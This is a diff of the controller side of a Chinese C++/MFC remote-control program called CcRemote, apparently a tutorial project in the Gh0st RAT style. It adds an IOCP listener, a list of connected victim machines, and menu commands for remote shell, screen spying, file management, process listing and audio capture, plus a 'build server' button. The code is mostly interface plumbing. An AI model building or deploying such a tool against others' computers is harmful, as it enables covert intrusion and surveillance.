||||
</ClInclude>
|
||||
<ClInclude Include="include\Mapper.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IniFile.h">
|
||||
<Filter>配置读取</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CSettingDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\common\macros.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SEU_QQwry.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CShellDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CSystemDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CScreenSpyDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CFileManagerDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileTransferModeDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="InputDlg.h">
|
||||
<Filter>源文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CAudioDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\common\Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -47,6 +104,51 @@
|
||||
<ClCompile Include="CcRemoteDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TrueColorToolBar.cpp">
|
||||
<Filter>重写控件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="include\Buffer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="include\CpuUsage.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="include\IOCPServer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IniFile.cpp">
|
||||
<Filter>配置读取</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CSettingDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SEU_QQwry.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CShellDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CSystemDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CScreenSpyDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CFileManagerDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileTransferModeDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="InputDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
@@ -57,10 +159,55 @@
|
||||
<None Include="res\CcRemote.rc2">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\dot.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\1.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\2.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\3.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\4.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\CcRemote.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\toolbar1.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\ToolBar_Main.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\cmdshell.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\system.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\background_picture.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\Bitmap_4.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\Bitmap_5.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\bmp00001.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\toolbar2.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\audio.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -7,15 +7,19 @@
|
||||
#include "CcRemote.h"
|
||||
#include "CcRemoteDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CSettingDlg.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
|
||||
CCcRemoteDlg *g_pCcRemoteDlg = NULL; //声明全局变量
|
||||
|
||||
|
||||
|
||||
CIOCPServer *m_iocpServer = NULL;
|
||||
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
|
||||
|
||||
class CAboutDlg : public CDialogEx
|
||||
@@ -57,6 +61,13 @@ CCcRemoteDlg::CCcRemoteDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_CCREMOTE_DIALOG, pParent)
|
||||
{
|
||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||
//iCount = 0;
|
||||
g_pCcRemoteDlg = this;
|
||||
if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)//APP初始化会检查文件是否存在
|
||||
{
|
||||
m_QQwry = new SEU_QQwry;
|
||||
m_QQwry->SetPath("QQWry.Dat");
|
||||
}
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -67,16 +78,114 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
//-------------自定义------------
|
||||
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
|
||||
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
|
||||
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
||||
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
|
||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
||||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||
|
||||
|
||||
//-------------系统-------------
|
||||
ON_WM_SYSCOMMAND()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_QUERYDRAGICON()
|
||||
ON_WM_SIZE()
|
||||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CCcRemoteDlg::OnNMRClickOnline)
|
||||
ON_COMMAND(ID_ONLINE_AUDIO, &CCcRemoteDlg::OnOnlineAudio)
|
||||
ON_COMMAND(ID_ONLINE_CMD, &CCcRemoteDlg::OnOnlineCmd)
|
||||
ON_COMMAND(ID_ONLINE_DESKTOP, &CCcRemoteDlg::OnOnlineDesktop)
|
||||
ON_COMMAND(ID_ONLINE_FILE, &CCcRemoteDlg::OnOnlineFile)
|
||||
ON_COMMAND(ID_ONLINE_PROCESS, &CCcRemoteDlg::OnOnlineProcess)
|
||||
ON_COMMAND(ID_ONLINE_REGIST, &CCcRemoteDlg::OnOnlineRegist)
|
||||
ON_COMMAND(ID_ONLINE_SERVER, &CCcRemoteDlg::OnOnlineServer)
|
||||
ON_COMMAND(ID_ONLINE_VIDEO, &CCcRemoteDlg::OnOnlineVideo)
|
||||
ON_COMMAND(ID_ONLINE_WINDOW, &CCcRemoteDlg::OnOnlineWindow)
|
||||
ON_COMMAND(ID_ONLINE_DELETE, &CCcRemoteDlg::OnOnlineDelete)
|
||||
ON_COMMAND(IDM_MAIN_SET, &CCcRemoteDlg::OnMainSet)
|
||||
ON_COMMAND(IDM_MAIN_CLOSE, &CCcRemoteDlg::OnMainClose)
|
||||
ON_COMMAND(IDM_MAIN_BUILD, &CCcRemoteDlg::OnMainBuild)
|
||||
ON_COMMAND(IDM_MAIN_ABOUT, &CCcRemoteDlg::OnMainAbout)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_ERASEBKGND()
|
||||
ON_WM_CTLCOLOR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CCcRemoteDlg 消息处理程序
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CMainFrame message handlers
|
||||
//NotifyProc是这个socket内核的核心 所有的关于socket 的处理都要调用这个函数
|
||||
void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (nCode)
|
||||
{
|
||||
case NC_CLIENT_CONNECT:
|
||||
break;
|
||||
case NC_CLIENT_DISCONNECT:
|
||||
//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case NC_TRANSMIT:
|
||||
break;
|
||||
case NC_RECEIVE:
|
||||
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
|
||||
break;
|
||||
case NC_RECEIVE_COMPLETE:
|
||||
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (...) {}
|
||||
}
|
||||
|
||||
|
||||
// 监听端口 最大上线个数
|
||||
void CCcRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
|
||||
{
|
||||
CString str;
|
||||
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
m_iocpServer->Shutdown();
|
||||
delete m_iocpServer;
|
||||
|
||||
}
|
||||
m_iocpServer = new CIOCPServer;
|
||||
|
||||
// 开启IPCP服务器 最大连接 端口 查看NotifyProc回调函数 函数定义
|
||||
if (m_iocpServer->Initialize(NotifyProc, NULL, nMaxConnections, nPort))
|
||||
{
|
||||
|
||||
char hostname[256];
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
HOSTENT *host = gethostbyname(hostname);
|
||||
if (host != NULL)
|
||||
{
|
||||
for (int i = 0; ; i++)
|
||||
{
|
||||
str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
|
||||
if (host->h_addr_list[i] + host->h_length >= host->h_name)
|
||||
break;
|
||||
str += "/";
|
||||
}
|
||||
}
|
||||
|
||||
str.Format("监听端口: %d成功", nPort);
|
||||
ShowMessage(true, str);
|
||||
}
|
||||
else
|
||||
{
|
||||
str.Format("监听端口: %d失败", nPort);
|
||||
ShowMessage(true, str);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
BOOL CCcRemoteDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
@@ -107,17 +216,23 @@ BOOL CCcRemoteDlg::OnInitDialog()
|
||||
SetIcon(m_hIcon, FALSE); // 设置小图标
|
||||
|
||||
// TODO: 在此添加额外的初始化代码
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
m_OnlineCount = 0;//初始上线数为0
|
||||
InitSystemMenu();//初始化系统托盘
|
||||
InitToolBar();//初始化工具栏按钮控件
|
||||
InitMyMenu();//初始化菜单控件
|
||||
InitList();//初始化列表控件
|
||||
//---------改变窗口大小出发动态调整-------|
|
||||
InitStatusBar();//初始化状态栏控件
|
||||
//---------改变窗口大小触发动态调整-------|
|
||||
CRect rect;
|
||||
GetWindowRect(&rect);
|
||||
rect.bottom += 20;
|
||||
MoveWindow(rect);
|
||||
//----------------------------------------|
|
||||
ListenPort();//监听端口
|
||||
Test();
|
||||
|
||||
|
||||
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
|
||||
}
|
||||
@@ -177,6 +292,12 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
double dcx = cx; //对话框的总宽度
|
||||
CDialogEx::OnSize(nType, cx, cy);
|
||||
|
||||
if (SIZE_MINIMIZED == nType)//当窗口最小化避免大小为0造成崩溃直接返回
|
||||
return;
|
||||
|
||||
|
||||
|
||||
if (m_CList_Online.m_hWnd != NULL)
|
||||
{
|
||||
CRect rc;
|
||||
@@ -186,8 +307,6 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
rc.bottom = cy - 160; //列表的下坐标
|
||||
m_CList_Online.MoveWindow(rc);
|
||||
|
||||
|
||||
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { //遍历每一个列
|
||||
double dd = m_Column_Online_Data[i].nWidth; //得到当前列的宽度
|
||||
dd /= m_Column_Online_Width; //看一看当前宽度占总长度的几分之几
|
||||
@@ -195,6 +314,12 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
}
|
||||
//TCHAR szBuffer[_MAX_PATH];
|
||||
//VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
//CString sPath = (CString)szBuffer; sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||
m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
}
|
||||
if (m_CList_Message.m_hWnd != NULL)
|
||||
{
|
||||
@@ -202,7 +327,7 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
rc.left = 1; //列表的左坐标
|
||||
rc.top = cy - 156; //列表的上坐标
|
||||
rc.right = cx - 1; //列表的右坐标
|
||||
rc.bottom = cy - 6; //列表的下坐标
|
||||
rc.bottom = cy - 20; //列表的下坐标
|
||||
m_CList_Message.MoveWindow(rc);
|
||||
|
||||
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { //遍历每一个列
|
||||
@@ -212,15 +337,72 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
}
|
||||
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||
m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
}
|
||||
|
||||
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
|
||||
CRect rc;
|
||||
rc.top = cy - 20;
|
||||
rc.left = 0;
|
||||
rc.right = cx;
|
||||
rc.bottom = cy;
|
||||
m_wndStatusBar.MoveWindow(rc);
|
||||
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_POPOUT, cx - 10);
|
||||
}
|
||||
|
||||
if (m_ToolBar.m_hWnd != NULL) //工具条
|
||||
{
|
||||
CRect rc;
|
||||
rc.top = rc.left = 0;
|
||||
rc.right = cx;
|
||||
rc.bottom = 80;
|
||||
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
|
||||
}
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
}
|
||||
|
||||
|
||||
int CCcRemoteDlg::InitMyMenu()
|
||||
{
|
||||
HMENU hmenu;
|
||||
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); //载入菜单资源
|
||||
|
||||
::SetMenu(this->GetSafeHwnd(), hmenu); //为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||||
|
||||
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
|
||||
//popup.GetSubMenu(0)->SetMenuItemBitmaps();
|
||||
::MENUINFO lpcmi;
|
||||
m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
|
||||
memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
|
||||
lpcmi.cbSize = sizeof(MENUINFO);
|
||||
lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
|
||||
lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
|
||||
::SetMenuInfo(popup, &lpcmi);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int CCcRemoteDlg::InitList()
|
||||
{
|
||||
|
||||
// CLR_NONE没有背景色。图像是透明的。
|
||||
m_CList_Online.SetTextBkColor(CLR_NONE);
|
||||
m_CList_Online.SetBkColor(CLR_NONE);
|
||||
m_CList_Online.SetTextColor(RGB(255, 0, 0));
|
||||
|
||||
m_CList_Message.SetTextBkColor(CLR_NONE);
|
||||
m_CList_Message.SetBkColor(CLR_NONE);
|
||||
//m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||
|
||||
//设置list可选中
|
||||
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
|
||||
//计算控件宽度
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++)
|
||||
{
|
||||
m_CList_Online.InsertColumn(i, m_Column_Online_Data[i].title, LVCFMT_LEFT, m_Column_Online_Data[i].nWidth);
|
||||
@@ -236,7 +418,7 @@ int CCcRemoteDlg::InitList()
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing)
|
||||
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext)
|
||||
{
|
||||
m_CList_Online.InsertItem(0, strIP); //默认为0行 这样所有插入的新列都在最上面
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); //设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
|
||||
@@ -245,6 +427,8 @@ void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CS
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_CPU, strCPU);
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_VIDEO, strVideo);
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_PING, strPing);
|
||||
m_CList_Online.SetItemData(0, (DWORD)pContext);
|
||||
ShowMessage(true, strIP + "主机上线");
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
@@ -262,21 +446,44 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
m_CList_Message.InsertItem(0, strIsOK);
|
||||
m_CList_Message.SetItemText(0, 1, strTime);
|
||||
m_CList_Message.SetItemText(0, 2, strMsg);
|
||||
|
||||
|
||||
CString strStatusMsg;
|
||||
if (strMsg.Find("上线") > 0) //处理上线还是下线消息
|
||||
{
|
||||
m_OnlineCount++;
|
||||
}
|
||||
else if (strMsg.Find("下线") > 0)
|
||||
{
|
||||
m_OnlineCount--;
|
||||
}
|
||||
else if (strMsg.Find("断开") > 0)
|
||||
{
|
||||
m_OnlineCount--;
|
||||
}
|
||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
|
||||
strStatusMsg.Format("已连接: %d", m_OnlineCount);
|
||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::Test()
|
||||
{
|
||||
AddList("192.168.0.1", "本机局域网", "Lang", "Windows7", "2.2GHZ", "有", "123232");
|
||||
|
||||
ShowMessage(true, "软件初始化成功...");
|
||||
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
|
||||
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
|
||||
//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
|
||||
//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
|
||||
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CMenu popup;//声明一个菜单变量
|
||||
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
|
||||
|
||||
CMenu* pM = popup.GetSubMenu(0);//得到菜单项
|
||||
CPoint p;
|
||||
GetCursorPos(&p);//得到鼠标指针的位置
|
||||
@@ -287,8 +494,645 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int i = 0; i < count; i++) //遍历每一个菜单
|
||||
{
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); //菜单可用
|
||||
}
|
||||
}
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); //在指定位置显示菜单
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineAudio()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// MessageBox("声音");
|
||||
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineCmd()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// MessageBox("CMD");
|
||||
BYTE bToken = COMMAND_SHELL;
|
||||
SendSelectCommand(&bToken,sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineDesktop()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineFile()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; //在服务端中搜索COMMAND_LIST_DRIVE
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineProcess()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端,到服务端搜索COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineRegist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineServer()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineVideo()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineWindow()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineDelete()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CString strIP;//选择断开的IP
|
||||
int iSelect = m_CList_Online.GetSelectionMark();//获得选中的行
|
||||
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);//获取断开的IP字符串
|
||||
m_CList_Online.DeleteItem(iSelect);//删除该列表项
|
||||
strIP += " 由主机主动断开连接";
|
||||
ShowMessage(true, strIP);//显示日志
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnMainSet()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CSettingDlg MySettingDlg;
|
||||
MySettingDlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnMainClose()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
PostMessage(WM_CLOSE);
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnMainBuild()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnMainAbout()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CAboutDlg dlgAbout;
|
||||
dlgAbout.DoModal();
|
||||
}
|
||||
|
||||
|
||||
//状态栏数组
|
||||
static UINT indicators[] =
|
||||
{
|
||||
IDR_STATUSBAR_STRING
|
||||
};
|
||||
|
||||
|
||||
//初始化状态栏
|
||||
void CCcRemoteDlg::InitStatusBar()
|
||||
{
|
||||
if (!m_wndStatusBar.Create(this) ||
|
||||
!m_wndStatusBar.SetIndicators(indicators,
|
||||
sizeof(indicators) / sizeof(UINT))) //创建状态条并设置字符资源的ID
|
||||
{
|
||||
TRACE0("Failed to create status bar\n");
|
||||
return; // fail to create
|
||||
}
|
||||
CRect rc;
|
||||
::GetWindowRect(m_wndStatusBar.m_hWnd, rc);
|
||||
m_wndStatusBar.MoveWindow(rc); //移动状态条到指定位置
|
||||
}
|
||||
|
||||
|
||||
//初始化工具条按钮控件
|
||||
void CCcRemoteDlg::InitToolBar()
|
||||
{
|
||||
|
||||
//创建工具条
|
||||
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
|
||||
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
|
||||
!m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN))//载入创建好的控件资源
|
||||
{
|
||||
TRACE0("Failed to create toolbar\n");
|
||||
return; // fail to create
|
||||
}
|
||||
m_ToolBar.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
|
||||
|
||||
//加载位图资源
|
||||
m_ToolBar.LoadTrueColorToolBar
|
||||
(
|
||||
48, //加载真彩工具条
|
||||
IDB_BITMAP_MAIN,
|
||||
IDB_BITMAP_MAIN,
|
||||
IDB_BITMAP_MAIN
|
||||
);
|
||||
RECT rt, rtMain;
|
||||
GetWindowRect(&rtMain);//获取窗口大小
|
||||
rt.left = 0;
|
||||
rt.top = 0;
|
||||
rt.bottom = 80;
|
||||
rt.right = rtMain.right - rtMain.left + 10;
|
||||
m_ToolBar.MoveWindow(&rt, TRUE);
|
||||
|
||||
m_ToolBar.SetButtonText(0, "终端管理");
|
||||
m_ToolBar.SetButtonText(1, "进程管理");
|
||||
m_ToolBar.SetButtonText(2, "窗口管理");
|
||||
m_ToolBar.SetButtonText(3, "桌面管理");
|
||||
m_ToolBar.SetButtonText(4, "文件管理");
|
||||
m_ToolBar.SetButtonText(5, "语音管理");
|
||||
m_ToolBar.SetButtonText(6, "视频管理");
|
||||
m_ToolBar.SetButtonText(7, "服务管理");
|
||||
m_ToolBar.SetButtonText(8, "注册表管理");
|
||||
m_ToolBar.SetButtonText(10, "参数设置");
|
||||
m_ToolBar.SetButtonText(11, "生成服务端");
|
||||
m_ToolBar.SetButtonText(12, "帮助");
|
||||
|
||||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
|
||||
}
|
||||
|
||||
|
||||
//初始化工具条按钮控件
|
||||
void CCcRemoteDlg::InitSystemMenu()
|
||||
{
|
||||
/*
|
||||
typedef struct _NOTIFYICONDATA {
|
||||
DWORD cbSize; //结构体自身大小
|
||||
HWND hWnd; //托盘的父窗口 托盘发出的消息由哪一个窗口响应
